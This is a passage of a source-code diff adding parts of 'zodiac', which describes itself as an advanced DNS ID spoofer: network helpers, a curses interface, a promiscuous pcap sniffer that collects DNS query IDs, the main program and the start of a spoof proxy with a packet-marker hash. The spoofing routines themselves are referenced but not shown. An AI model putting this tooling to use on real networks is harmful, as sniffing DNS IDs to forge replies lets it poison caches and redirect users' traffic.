ifi->ifi_addr = calloc(1, sizeof(struct sockaddr_in));
if (ifi->ifi_addr == NULL)
return (NULL);
memcpy(ifi->ifi_addr, sinptr, sizeof(struct sockaddr_in));
}
break;
default:
break;
}
}
free (buf);
return (ifihead);
}
/* partly based on resolv routine from ?
*/
unsigned long int
net_resolve (char *host)
{
long i;
struct hostent *he;
if (host == NULL)
return (htonl (INADDR_ANY));
if (strcmp (host, "*") == 0)
return (htonl (INADDR_ANY));
i = inet_addr (host);
if (i == -1) {
he = gethostbyname (host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}
return (i);
}
int
net_printipr (struct in_addr *ia, char *str, size_t len)
{
unsigned char *ipp;
ipp = (unsigned char *) &ia->s_addr;
snprintf (str, len - 1, "%d.%d.%d.%d", ipp[3], ipp[2], ipp[1], ipp[0]);
return (0);
}
int
net_printip (struct in_addr *ia, char *str, size_t len)
{
unsigned char *ipp;
ipp = (unsigned char *) &ia->s_addr;
snprintf (str, len - 1, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]);
return (0);
}
int
net_printipa (struct in_addr *ia, char **str)
{
unsigned char *ipp;
ipp = (unsigned char *) &ia->s_addr;
*str = calloc (1, 256);
if (*str == NULL)
return (1);
snprintf (*str, 255, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]);
*str = realloc (*str, strlen (*str) + 1);
return ((*str == NULL) ? 1 : 0);
}

126
dns/zodiac/src/network.h Normal file
View file

@ -0,0 +1,126 @@
/* zodiac - advanced dns spoofer
*
* ripped down network.c for use with zodiac
*
* by scut / teso
*/
#ifndef Z_NETWORK_H
#define Z_NETWORK_H
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <stdio.h>
#define IFI_NAME 16
#define IFI_HADDR 8
/* struct ifi_info
*
* a linked list giving information about all the network interfaces available
* a pointer to this struct list is returned by net_get_ifi.
*/
struct ifi_info {
char ifi_name[IFI_NAME];
u_char ifi_haddr[IFI_HADDR];
u_short ifi_hlen;
short ifi_flags;
short ifi_myflags;
struct sockaddr *ifi_addr;
struct in_addr ifi_saddr;
struct ifi_info *ifi_next;
};
#define IFI_ALIAS 1
typedef struct bound {
int bs; /* bound socket */
unsigned short port; /* port we bound to */
struct sockaddr bsa; /* bs_in */
} bound;
extern int net_readtimeout;
extern int net_conntimeout;
extern int net_identtimeout;
/* net_parseip
*
* read an ip in the format "1.1.1.1:299" or "blabla:481" into
* the char pointer *ip and into the port *port
*
* return 0 on failure
* return 1 on success
*/
int net_parseip (char *inp, char **ip, unsigned short int *port);
/* net_getlocalip
*
* give back the main IP of the local machine
*
* return the local IP address as string on success
* return NULL on failure
*/
char *net_getlocalip (void);
/* net_get_ifi
*
* get network interface information
*
* return NULL on failure
* return a pointer to a linked list structure ifi_info (see above)
*/
struct ifi_info *net_ifi_get (int family, int doaliases);
/* net_ifi_free
*
* free the linked list associated with `tf'.
*
* return in any case
*/
void net_ifi_free (struct ifi_info *tf);
/* net_resolve
*
* resolve a hostname pointed to by `host' into a s_addr return value
*
* return the correct formatted `s_addr' for this host on success
* return 0 on failure
*/
unsigned long int net_resolve (char *host);
/* net_printip
*
* print an IP address stored in the struct in_addr pointed to by `ia' to a
* string `str' with a maximum length of `len'.
*
* return 0 on success
*Üreturn 1 on failure
*
* net_printipa behaves the same way, except it allocates memory and let
* `*str' point to the string
*
* net_printipr behaves like net_printip, except the IP is printed in
* reverse quad dotted order (dns labels)
*/
int net_printip (struct in_addr *ia, char *str, size_t len);
int net_printipa (struct in_addr *ia, char **str);
int net_printipr (struct in_addr *ia, char *str, size_t len);
#endif

152
dns/zodiac/src/output.c Normal file
View file

@ -0,0 +1,152 @@
/* zodiac - output module
*
* by scut / teso
*
* buy "Programming with Curses" if you mind understanding this :)
*/
#define OUTPUT_MAIN
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <ncurses.h>
#include "common.h"
#include "output.h"
#include "zodiac.h"
mscr *
out_init (void)
{
mscr *nm = xcalloc (1, sizeof (mscr));
pthread_mutex_init (&nm->outm, NULL);
initscr (); /* initialize curses, get termcaps etc. */
crmode (); /* cooked raw (control char's to kernel, rest to us */
echo (); /* echo inputs */
nl (); /* newline on wraps */
meta (stdscr, TRUE);
keypad (stdscr, TRUE);
scrollok (stdscr, FALSE);
attrset (A_NORMAL);
if (stdscr->_maxx < 79 || stdscr->_maxy < 20)
return (NULL);
m_drawbox (stdscr, 0, 0, stdscr->_maxy, stdscr->_maxx);
move (0, 1);
printw ("= zodiac "VERSION" = by "AUTHORS" =");
refresh ();
/* create configuration, process and udp sniff window */
nm->winsh = m_subwin (9, stdscr->_maxx, 1, 0, "console");
nm->winproc = m_subwin (10, stdscr->_maxx / 2, 11, 0, "process");
nm->winid = m_subwin (10, stdscr->_maxx / 2 + 1, 11, stdscr->_maxx / 2, "id");
nm->windns = m_subwin (stdscr->_maxy - 21, stdscr->_maxx, 21, 0, "dns packets");
if (nm->winsh == NULL || nm->winproc == NULL || nm->windns == NULL)
return (NULL);
touchwin (stdscr);
move (0, 0);
refresh ();
return (nm);
}
void
m_printfnr (mscr *screen, WINDOW *win, char *str, ...)
{
va_list vl;
pthread_mutex_lock (&screen->outm);
va_start (vl, str);
vw_printw (win, str, vl);
va_end (vl);
pthread_mutex_unlock (&screen->outm);
return;
}
void
m_printf (mscr *screen, WINDOW *win, char *str, ...)
{
va_list vl;
pthread_mutex_lock (&screen->outm);
va_start (vl, str);
vw_printw (win, str, vl);
va_end (vl);
wrefresh (win);
pthread_mutex_unlock (&screen->outm);
return;
}
/* create a subwin from stdscr, putting a nice border around it and set a
* title
*/
WINDOW *
m_subwin (int lines, int cols, int y1, int x1, char *title)
{
WINDOW *nw;
nw = subwin (stdscr, lines - 2, cols - 2, y1 + 1, x1 + 1);
if (nw == NULL)
return (NULL);
meta (nw, TRUE);
keypad (nw, TRUE);
scrollok (nw, TRUE);
m_drawbox (stdscr, y1, x1, y1 + lines, x1 + cols);
if (title != NULL) {
move (y1, x1 + 1);
printw ("= %s =", title);
}
wmove (nw, 0, 0);
return (nw);
}
void
m_drawbox (WINDOW *win, int y1, int x1, int y2, int x2)
{
int x, y;
if (y1 >= y2 || x1 >= x2)
return;
for (y = y1, x = x2 - 1; x > x1; --x) {
wmove (win, y, x);
waddch (win, '-');
}
for (y = y2 - 1; y > y1; --y) {
wmove (win, y, x1);
waddch (win, '|');
wmove (win, y, x2);
waddch (win, '|');
}
for (y = y2, x = x2 - 1; x > x1; --x) {
wmove (win, y, x);
waddch (win, '-');
}
wmove (win, y1, x1);
waddch (win, '+');
wmove (win, y1, x2);
waddch (win, '+');
wmove (win, y2, x1);
waddch (win, '+');
wmove (win, y2, x2);
waddch (win, '+');
return;
}

31
dns/zodiac/src/output.h Normal file
View file

@ -0,0 +1,31 @@
/* zodiac - output module
* include file
*
* by scut / teso
*
* buy "Programming with Curses" if you mind understanding this :)
*/
#ifndef Z_OUTPUT_H
#define Z_OUTPUT_H
#include <ncurses.h>
#include <pthread.h>
typedef struct mscr {
pthread_mutex_t outm; /* output mutex */
WINDOW *winsh; /* configuration window */
WINDOW *winproc; /* process / status window */
WINDOW *winid; /* dns ID window */
WINDOW *windns; /* incoming DNS packets window */
} mscr;
mscr *out_init (void);
void m_printfnr (mscr *screen, WINDOW *win, char *str, ...);
void m_printf (mscr *screen, WINDOW *win, char *str, ...);
WINDOW *m_subwin (int lines, int cols, int y1, int x1, char *title);
void m_drawbox (WINDOW *win, int y1, int x1, int y2, int x2);
#endif

422
dns/zodiac/src/packet.c Normal file
View file

@ -0,0 +1,422 @@
/* zodiac - advanced dns spoofer
*
* packet handling and queueing routines
* by scut
* -Smiler
* Changed pq_grind to remove link layer. Changed other functions to
* accept ip packets instead of ethernet packets.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <semaphore.h>
#include <pthread.h>
#include <pcap.h>
#include "common.h"
#include "packet.h"
#include "output.h"
#include "sniff.h"
#include "zodiac.h"
#include "dns.h"
#include "dnsid.h"
#include "dns-tag.h"
/* pq_grind
*
* grind the packets received from the sniffer thread, stripping ethernet
* header, filter non-TCP packets, add them to the packet queue, then raise
* the correct semaphore.
*
* `sinfo' gives information about the sniffing thread and the packet queue,
* `pkthdr' is from the pcap handler and `pkt' contains the real packet data.
*/
void
pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr, u_char *pkt)
{
sniff_info *sinfo = (sniff_info *) sinfov;
if (sinfo->device->linktype == DLT_EN10MB) {
if (((eth_hdr *)pkt)->ether_type != htons(ETHERTYPE_IP))
goto pq_glend;
}
pkt += sinfo->device->linkhdrlen;
pkthdr->caplen -= sinfo->device->linkhdrlen;
/* check if it is a IP/UDP packet, if not, silently skip it
*/
id_qprint (ms, ms->winid);
if (pq_filter (pkt, pkthdr->caplen) == 0)
goto pq_glend;
/* compute real IP/UDP packet size and append it to the right queue
*/
if (pq_add (pkt, pkthdr->caplen, &pkthdr->ts, sinfo->pq_thd))
goto pq_glend;
/* notify the corresponding thread about the new packet in it's queue
*/
pq_notify (sinfo->pq_thd);
pq_glend:
return;
}
/* pq_add
*
* append a packet queue description (pq_desc) with packet content `p_data' to
* the packet queue associated with thread `thd'.
* the packet data is copied, so the packet data pointer `p_data' has to be
* freed by the calling function. the time value `rcv_time' is the time when the
* packet was sniffed from the pcap library.
*
* return 0 on success
* will never fail tho ;-D
*/
int
pq_add (unsigned char *p_data, unsigned long int p_size, struct timeval *rcv_time, pq_thread *pqt)
{
pq_desc *np; /* new packet in queue */
np = xcalloc (1, sizeof (pq_desc));
/* initialize the packet mutex and get hold of it
*/
pthread_mutex_init (&np->pq_mutex, NULL);
pthread_mutex_lock (&np->pq_mutex);
/* get memory for the packet
*/
np->p_len = p_size;
np->p_data = xcalloc (1, np->p_len);
/* copy packet data, create hash and copy time values
*/
memcpy (np->p_data, p_data, np->p_len);
np->next = NULL;
memcpy (&np->rcv_time, rcv_time, sizeof (struct timeval));
/* now add the packet to the thread queue
*/
pthread_mutex_lock (&pqt->pq_mutex);
/* no packet added yet, then just modify the root pointer, else
* append the packet
*/
if (pqt->root == NULL) {
pqt->root = np;
} else {
pq_desc *cur = pqt->root; /* help pointers to step through the list */
pq_desc *last = pqt->root;
/* cycle through linked list, until end is reached
*/
while (cur != NULL) {
last = cur;
pthread_mutex_lock (&last->pq_mutex);
cur = last->next;
pthread_mutex_unlock (&last->pq_mutex);
}
pthread_mutex_lock (&last->pq_mutex);
last->next = np;
pthread_mutex_unlock (&last->pq_mutex);
}
pthread_mutex_unlock (&pqt->pq_mutex);
pthread_mutex_unlock (&np->pq_mutex);
/* added packet successfully
*/
return (0);
}
/* pq_handle
*
* main (threaded) packet processor routine
*/
void *
pq_handle (pq_thread *pq)
{
pq_desc *packet; /* packet pointer */
ip_hdr *ip; /* IP packet header pointer */
udp_hdr *udp; /* UDP packet header pointer */
dns_hdr *dns; /* DNS receive header pointer */
unsigned char *data; /* packet data pointer :-) */
char *p_data;
// unsigned long p; /* packet counter */
m_printf (ms, ms->windns, "[zod] hello world from the packetizer thread\n");
do {
unsigned int psize;
do {
sem_wait (&pq->pq_active); /* wait for a packet */
/* get, unlink and then process the packet
*/
packet = pq_get (pq);
} while (packet == NULL);
p_data = packet->p_data;
pq_offset (p_data, &ip, &udp, &dns, &data);
/* hexdump ("packets-rawdns", (unsigned char *) ip, (packet->p_len - sizeof (eth_hdr)));
debugp ("packets-rawdns", "ip=%08x\nudp=%08x\ndns=%08x\ndata=%08x\n", ip, udp, dns, data);
*/
psize = packet->p_len;
dns_handle (ip, udp, dns, data, psize);
/* now, if the packet is directed to port 53, we add the id to the queue
* then update the display. but first check whether it is a self-originated
* packet, then skip the whole procedure.
*/
if (udp->uh_dport == htons (53) && dns_tag_check_n (&ip->ip_src,
&ip->ip_dst, htons (udp->uh_sport), htons (udp->uh_dport),
htons (dns->id)) == 0)
{
id_add (ip->ip_src, ntohs (dns->id), &packet->rcv_time);
id_qprint (ms, ms->winid);
}
pq_free (packet);
} while (1);
return (NULL);
}
/* pq_create
*
* create a packet handler
*
* return NULL on failure
* return pointer to pq_thread structure on success
*/
pq_thread *
pq_create (void)
{
int n; /* temporary return value */
pq_thread *pq_new; /* main thread structure of new thread */
pq_new = xcalloc (1, sizeof (pq_thread));
pthread_mutex_init (&pq_new->pq_mutex, NULL);
pq_new->pq_count = pq_new->pq_curcount = 0;
sem_init (&pq_new->pq_active, 0, 0);
n = pthread_create (&pq_new->pq_tid, NULL, (void *) pq_handle, (void *) pq_new);
if (n == -1) {
pq_destroy (pq_new);
return (NULL);
}
return (pq_new);
}
void
pq_destroy (pq_thread *pq)
{
pthread_mutex_destroy (&pq->pq_mutex);
sem_destroy (&pq->pq_active);
free (pq);
return;
}
/* pq_notify
*
* notify the correct thread using a semaphore
*/
void
pq_notify (pq_thread *pqt)
{
/* raise the semaphore
*/
sem_post (&pqt->pq_active);
return;
}
/* pq_get
*
* return one packet from the packet stack pointed to by `pqt'.
*
* return NULL on failure
* return pointer to packet description on success
*/
pq_desc *
pq_get (pq_thread *pqt)
{
pq_desc *next;
pq_desc *this = NULL;
pthread_mutex_lock (&pqt->pq_mutex);
next = pqt->root;
if (next != NULL) {
/* if there is a packet, unlink first one, and shift all
* following packets
*/
pthread_mutex_lock (&pqt->root->pq_mutex);
next = pqt->root->next;
pthread_mutex_unlock (&pqt->root->pq_mutex);
/* shift packets, we are helding pq_mutex tho :)
*/
this = pqt->root;
pqt->root = next;
}
pthread_mutex_unlock (&pqt->pq_mutex);
return (this);
}
/* pq_remove
*
* remove the first packet from packet thread queue `thd'.
*
* return in any case
*/
void
pq_remove (pq_thread *pqt)
{
pq_desc *next;
pthread_mutex_lock (&pqt->pq_mutex);
if (pqt->root != NULL) {
pthread_mutex_lock (&pqt->root->pq_mutex);
next = pqt->root->next;
pthread_mutex_unlock (&pqt->root->pq_mutex);
pq_free (pqt->root);
pqt->root = next;
}
pthread_mutex_unlock (&pqt->pq_mutex);
return;
}
/* pq_free
*
* free a pq_desc structure with all associated data
*/
void
pq_free (pq_desc *packet)
{
/* some sanity checking inside :)
*/
if (packet == NULL)
return;
/* if data is associated, free it
*/
if (packet->p_data != NULL) {
free (packet->p_data);
}
/* destroy mutex and free structure
*/
pthread_mutex_destroy (&packet->pq_mutex);
free (packet);
return;
}
/* pq_filter
*
* check wether packet with packet data pointed to by `p_data' is a UDP
* nameserver packet or not
*
* return 1 if it is
* return 0 if it is not
*/
int
pq_filter (unsigned char *p_data, unsigned long p_size)
{
int iplen;
ip_hdr *ip = NULL;
udp_hdr *udp = NULL;
if (p_size < (sizeof (ip_hdr) + sizeof (udp_hdr) + sizeof (dns_hdr)))
return (0);
/* now check if the ip header encloses a udp packet
*/
ip = (ip_hdr *) (p_data); /* caveat here: don't miss brackets ! */
if (ip->ip_p != IPPROTO_UDP)
return (0);
iplen = ip->ip_hl << 2;
/* finally check the source/destination ports for the nameserver
* port 53
*/
udp = (udp_hdr *) (p_data + iplen);
if ((udp->uh_dport != htons (53)) && (udp->uh_sport != htons (53)))
return (0);
/* it is a udp dns packet
*/
return (1);
}
/* pq_offset
*
* stupidly calculate offsets for IP, UDP and DNS offsets within a IP data
* block
*
* return nothing
*/
void
pq_offset (unsigned char *data, ip_hdr **ip, udp_hdr **udp, dns_hdr **dns, unsigned char **dns_data)
{
size_t ip_len;
if (data == NULL)
return;
*ip = (ip_hdr *) data;
ip_len = (*ip)->ip_hl << 2;
*udp = (udp_hdr *) (data + ip_len);
*dns = (dns_hdr *) (data + ip_len + sizeof (udp_hdr));
*dns_data = (unsigned char *) (data + ip_len + sizeof (udp_hdr) + sizeof (dns_hdr));
return;
}

85
dns/zodiac/src/packet.h Normal file
View file

@ -0,0 +1,85 @@
/* snifflib
*
* by scut, smiler
*
*/
#ifndef Z_PACKET_H
#define Z_PACKET_H
#include <sys/time.h>
#include <arpa/nameser.h>
#include <netinet/in.h>
#include <pcap.h>
#include <semaphore.h>
#include <pthread.h>
#include <libnet.h>
/* packet structures
*
* we tried to be as portable as possible
*/
typedef struct libnet_ethernet_hdr eth_hdr;
typedef struct libnet_ip_hdr ip_hdr;
typedef struct libnet_udp_hdr udp_hdr;
typedef HEADER dns_hdr; /* HEADER is in arpa/nameser.h */
/* pq_desc
*
* describe one packet within the packet queue. the data is only to be read
* and write if `pq_mutex' is hold. `next' points to the next pq_desc within
* this packet queue, hash is the hash id of the packet (TCP only), `p_data'
* is the actual packet data (at IP level)
*/
typedef struct pq_desc {
pthread_mutex_t pq_mutex; /* mutex over this structure */
struct pq_desc *next; /* pointer to the next packet in the queue */
struct timeval rcv_time; /* time when the packet was received */
unsigned long int p_len; /* overall packet length */
unsigned char *p_data; /* actual packet data, link layer stripped already */
} pq_desc;
/* pq_thread
*
* describe a) one packet processing thread (tid, semaphore)
* b) packet queue root pointer (linked list of pq_desc structs)
* c) stats for this queue
*
* if the sniffing thread has encountered a packet that it added to this
* packetizing queue, it will raise the `pq_active' :-)
*/
typedef struct pq_thread {
pthread_t pq_tid; /* thread ID */
sem_t pq_active; /* new packet semaphore, yeah =) */
pthread_mutex_t pq_mutex; /* mutex over this structure */
unsigned long int pq_count; /* number of packets processed in this queue */
unsigned long int pq_curcount; /* number of packets currently in this queue */
pq_desc *root; /* root pointer of the linked list in this queue (NULL for empty) */
} pq_thread;
void *pq_handle (pq_thread *pq);
pq_thread *pq_create (void);
void pq_destroy (pq_thread *pq);
pq_desc *pq_get (pq_thread *pqt);
void pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr,
unsigned char *pkt);
int pq_add (unsigned char *p_data, unsigned long int p_size,
struct timeval *rcv_time, pq_thread *pqt);
void pq_notify (pq_thread *pqt);
void pq_remove (pq_thread *pqt);
void pq_free (pq_desc *packet);
int pq_filter (unsigned char *p_data, unsigned long p_size);
void pq_offset (unsigned char *data, ip_hdr **ip, udp_hdr **udp,
dns_hdr **dns, unsigned char **dns_data);
#endif

311
dns/zodiac/src/sniff.c Normal file
View file

@ -0,0 +1,311 @@
/* zodiac - advanced dns spoofer
*
* sniffing functions
*
* by scut, smiler
*
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <pcap.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "common.h"
#include "packet.h"
#include "output.h"
#include "sniff.h"
#include "zodiac.h"
extern struct in_addr localip;
/* sniff_new
*
* the only function that should be called from outside. set up sniffing
* device, create a new thread, then return.
* open `interface' device for sniffing, tell sniffing thread to use
* `pq_size' packet queues, available through `pq_list'.
* store thread id of new thread in `tid'.
*
* return 0 if thread creation was successful
* return 1 if thread creation failed
*/
int
sniff_new (pthread_t *tid, char *interface, pq_thread *pq_thd)
{
int n; /* temporary return value */
sniff_info *sinfo; /* sniff information structure */
sinfo = xcalloc (1, sizeof (sniff_info));
/* open interface
*/
sinfo->device = sniff_open (interface);
if (sinfo->device == NULL) {
free (sinfo);
return (1);
} else if (sinfo->device->error == 1) {
return (1);
}
if (sniff_dev_ip (interface, &localip) != 0) {
free (sinfo);
return (1);
}
/* store information into sinfo
*/
sinfo->pq_thd = pq_thd;
/* and create our neat thread :)
*/
n = pthread_create (tid, NULL, (void *) sniff_handle, (void *) sinfo);
if (n == -1) {
sniff_dev_free (sinfo->device);
free (sinfo);
return (1);
}
/* successfully created sniffer thread
*/
return (0);
}
/* sniff_handle
*
* the main sniffing thread, fetching packets from the device, then calling
* the packet grinder `pq_grind' to process the packets
*
* should never return except on error or program exit
*/
void *
sniff_handle (sniff_info *sinfo)
{
int n; /* temporary return value */
pcap_handler grinder; /* pcap handler for the packet grinding function */
m_printf (ms, ms->winproc, "[zod] hello world from sniffing thread\n");
/* sniff packets forever, until an error appears. pass incoming packets
* to `pq_grind'.
*/
grinder = (pcap_handler) pq_grind;
/* loop packets to pq_grind until error, passing sinfo struct for queueing
*/
n = pcap_loop (sinfo->device->pd, -1, grinder, (void *) sinfo);
/* on error print error message, then free the device and terminate the
* thread
*/
if (n == -1) {
m_printf (ms, ms->winproc, "[zod] sniff_handle (pcap_loop): %s\n", pcap_geterr (sinfo->device->pd));
}
return (NULL);
}
/* sniff_filter
*
* install a filter `filter' on device `device', with netmask `netmask'
*
* return 0 on success
* return 1 on failure
*/
int
sniff_filter (s_dev *device, char *filter, bpf_u_int32 netmask)
{
int n; /* temporary return value */
struct bpf_program fprog; /* berkeley packet filter program structure */
n = pcap_compile (device->pd, &fprog, filter, 1, netmask);
if (n == -1) {
m_printf (ms, ms->winproc, "[zod] sniff_filter (pcap_compile): failed to compile bpf program\n");
return (1);
}
n = pcap_setfilter (device->pd, &fprog);
if (n == -1) {
m_printf (ms, ms->winproc, "[zod] sniff_filter (pcap_setfilter): failed to set bpf on %s\n", device->interface);
return (1);
}
return (0);
}
/* sniff_open
*
* open `dev' for sniffing, or just the first sniffable one, if
* dev is NULL.
*
* return NULL on failure
* return pointer sniffing device structure on success
* -smiler
* Added link layer header length detection.
*/
s_dev *
sniff_open (char *devname)
{
int n; /* temporary return value */
s_dev *device; /* sniffing device structure to create */
char errorbuf[PCAP_ERRBUF_SIZE]; /* error buffer for pcap message */
/* create new sniffing device structure in s_dev
*/
device = xcalloc (1, sizeof (s_dev));
/* check wether to use the first device or a specified device
*/
if (devname == NULL) {
/* due to lame pcap manpage, you should not know that it's static *doh* */
device->interface = pcap_lookupdev (errorbuf);
if (device->interface == NULL) {
m_printf (ms, ms->winproc, "[zod] sniff_open (pcap_lookupdev): %s\n", errorbuf);
device->error = 1;
return (device);
}
} else {
/* if the interface we have to use is already known just copy it
*/
device->interface = xstrdup (devname);
}
/* try to open the device found
*/
device->pd = sniff_pcap_open (device->interface);
if (device->pd == NULL) {
device->error = 1;
return (device);
}
/* now query some information about the device and store them into our struct
*/
n = pcap_lookupnet (device->interface, &device->localnet,
&device->netmask, errorbuf);
if (n == -1) {
device->error = 1;
return (device);
}
device->linktype = pcap_datalink (device->pd);
if (device->linktype == -1) {
device->error = 1;
return (device);
}
switch (device->linktype) {
/* not sure about all of these, but they work for me :\ */
case DLT_SLIP:
case DLT_PPP:
case DLT_NULL:
device->linkhdrlen = 4;
break;
case DLT_RAW:
device->linkhdrlen = 0;
break;
case DLT_EN10MB:
default:
device->linkhdrlen = 14;
break;
}
m_printf(ms, ms->winproc, "[zod] sniff_open - linkhdrlen = %d\n",device->linkhdrlen);
return (device);
}
/* sniff_pcap_open
*
* securely wraps the pcap_open_live call to catch any errors
*
* return NULL on failure
* return capture descriptor on succes
*/
pcap_t *
sniff_pcap_open (char *device)
{
char errorbuf[PCAP_ERRBUF_SIZE]; /* error buffer */
pcap_t *pdes = NULL; /* packet capture descriptor */
pdes = pcap_open_live (device, SNAPLEN, PROMISC, READ_TIMEOUT, errorbuf);
if (pdes == NULL) {
m_printf (ms, ms->winproc, "[zod] sniff_pcap_open (pcap_open_live): %s\n", errorbuf);
return (NULL);
}
return (pdes);
}
/* sniff_dev_free
*
* close and free a sniffing device
*/
void
sniff_dev_free (s_dev *device)
{
pcap_close (device->pd);
if (device->interface)
free (device->interface);
free (device);
return;
}
/* sniff_dev_ip
*
* get the ip given the name of a device.
* i /hope/ this is portable ;)
* -smiler 991001
*
* return 0 on success
* return -1 on failure
*/
int
sniff_dev_ip (const char *dev, struct in_addr *ip)
{
int ifsock,
i_cnt;
struct ifconf ifc;
struct ifreq *ifr;
char buf[1024];
ifsock = socket (AF_INET, SOCK_DGRAM, 0);
if (ifsock < 0)
return (-1);
ifc.ifc_len = sizeof (buf);
ifc.ifc_buf = buf;
if (ioctl (ifsock, SIOCGIFCONF, &ifc) < 0)
return (-1);
i_cnt = ifc.ifc_len / sizeof(struct ifreq);
for (ifr = ifc.ifc_req; i_cnt ; i_cnt--, ifr++) {
if (strcmp (dev, ifr->ifr_name) == 0) {
memcpy (ip, &((struct sockaddr_in *) &ifr->ifr_addr)->sin_addr,
sizeof (struct in_addr));
return (0);
}
}
return (-1);
}

45
dns/zodiac/src/sniff.h Normal file
View file

@ -0,0 +1,45 @@
/* snifflib
*
* by scut
*
*/
#ifndef Z_SNIFF_H
#define Z_SNIFF_H
#include <pcap.h>
#include "packet.h"
#define SNAPLEN 65535
#define PROMISC 1
#define READ_TIMEOUT 0
typedef struct s_dev {
int error; /* error flag */
pcap_t *pd; /* packet capture descriptor */
char *interface; /* interface name */
int linktype; /* link layer type */
unsigned long int linkhdrlen; /* length of the link layer frame header */
bpf_u_int32 localnet; /* local network address */
bpf_u_int32 netmask; /* netmask of local network */
} s_dev;
typedef struct sniff_info {
s_dev *device; /* device structure of the sniffing device */
pq_thread *pq_thd; /* packet queue list root pointer */
} sniff_info;
int sniff_new (pthread_t *tid, char *interface, pq_thread *pq_thd);
void *sniff_handle (sniff_info *sinfo);
s_dev *sniff_open (char *devname);
pcap_t *sniff_pcap_open (char *device);
void sniff_dev_free (s_dev *device);
int sniff_dev_ip (const char *dev, struct in_addr *ip);
#endif

113
dns/zodiac/src/zodiac.c Normal file
View file

@ -0,0 +1,113 @@
/* zodiac - advanced dns id spoofer
*
* by team teso
*
*
*/
#define ZODIAC_MAIN
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <ncurses.h>
#include "common.h"
#include "dns.h"
#include "dns-spoof.h"
#include "dns-tools.h"
#include "gui.h"
#include "output.h"
#include "packet.h"
#include "sniff.h"
int quiteness = 0;
char * zodiac_spoof_proxy = NULL;
char * zodiac_spoof_proxy_key = NULL;
unsigned short int zodiac_spoof_proxy_port = 0;
mscr * ms; /* global screen variable */
char * match_hash =
"\xe7\x30\xbb\x0b\xda\x73\xdf\x98\xf6\x38\xac\x9f\xa3\xcc\xc0\x8f";
static void usage (char *program);
static void
usage (char *program)
{
printf ("usage: %s [options]\n\n"
"options\n"
" -h this help *wow* :-)\n"
" -i <dev> use <dev> device for sniffing\n"
" -q quiet operation\n\n", program);
exit (EXIT_FAILURE);
}
int
main (int argc, char **argv)
{
char c;
pq_thread *pmain;
pthread_t sniff_t;
char *interface = "eth0";
if (argc >= 5) {
usage (argv[0]);
}
while ((c = getopt (argc, argv, "qhi:")) != EOF) {
switch (c) {
case 'h':
usage (argv[0]);
break;
case 'i':
interface = optarg;
break;
case 'q':
quiteness++;
break;
default:
exit (EXIT_FAILURE);
}
}
srandom (time (NULL));
ms = out_init ();
if (ms == NULL) {
fprintf (stderr, "[zod] cannot initialize console\n");
exit (EXIT_FAILURE);
}
/* install a sniffing handler
*/
pmain = pq_create ();
if (pmain == NULL) {
m_printf (ms, ms->winproc, "[zod] failed to create packetizer thread\n");
endwin ();
exit (EXIT_FAILURE);
}
if (sniff_new (&sniff_t, interface, pmain)) {
m_printf (ms, ms->winproc, "[zod] failed to create new sniffing thread\n");
endwin ();
exit (EXIT_FAILURE);
}
m_printf (ms, ms->winproc, "[zod] zodiac successfully started\n");
libnet_seed_prand ();
menu_handle ();
endwin ();
exit (EXIT_SUCCESS);
}

23
dns/zodiac/src/zodiac.h Normal file
View file

@ -0,0 +1,23 @@
/* zodiac - advanced dns spoofer
*
* by scut / teso
*/
#include "output.h"
#ifndef Z_ZODIAC_H
#define Z_ZODIAC_H
#define AUTHORS "team teso"
#define VERSION "v0.4.9"
#ifndef ZODIAC_MAIN
extern mscr * ms; /* global screen variable */
extern char * zodiac_spoof_proxy;
extern char * zodiac_spoof_proxy_key;
extern unsigned short int zodiac_spoof_proxy_port;
#endif
#endif

View file

@ -0,0 +1,18 @@
CFLAGS=-Wall -g -ggdb -DDEBUG `libnet-config --defines` -D_REENTRANT
LIBS=-lnet
CC=gcc
OBJS = ../common.o ../io-udp.o ../cipher-blowfish.o ../cipher-sha1.o ../network.o
PREFIX=/usr/local
all: zsp zsp-test
clean:
rm -f *.o zsp zsp-test
zsp: zsp.c $(OBJS)
$(CC) $(CFLAGS) -o zsp zsp.c $(OBJS) $(LIBS)
mv zsp ../../
zsp-test: zsp-test.c $(OBJS)
$(CC) $(CFLAGS) -o zsp-test zsp-test.c $(OBJS) $(LIBS)

View file

@ -0,0 +1,27 @@
/* zodiac spoof proxy
*
* by team teso
*
* test program
*/
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include "../io-udp.h"
#include "../network.h"
int
main (int argc, char **argv)
{
unsigned char *data =
"\xe7\x30\xbb\x0b\xda\x73\xdf\x98\xf6\x38\xac\x9f\xa3\xcc\xc0\x8f"
"dabadiduthisisatestforthezodiacspoofproxywhichisalmightyyoushouldknow:-)";
udp_send (NULL, 0, "127.0.0.1", 17852, "foobar", data, strlen (data));
exit (EXIT_SUCCESS);
}

234
dns/zodiac/src/zsp/zsp.c Normal file
View file

@ -0,0 +1,234 @@
/* zodiac spoof proxy
*
* by team teso
*
* main program
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libnet.h>
#include "../io-udp.h"
#include "../network.h"
#define VERSION "0.0.3"
#define AUTHORS "team teso"
/* nah, no snakeoil here, this is just a packet marker (straight from
* /dev/random), which is used to avoid bouncing of messed up packets.
* you usually don't have to modify it. tho if you do it, modify the
* one in ./src/dns-build.c too to match this one. :-)
* -sc
*/
char match_hash[] =
"\xe7\x30\xbb\x0b\xda\x73\xdf\x98\xf6\x38\xac\x9f\xa3\xcc\xc0\x8f";
char *relay_ip = NULL;
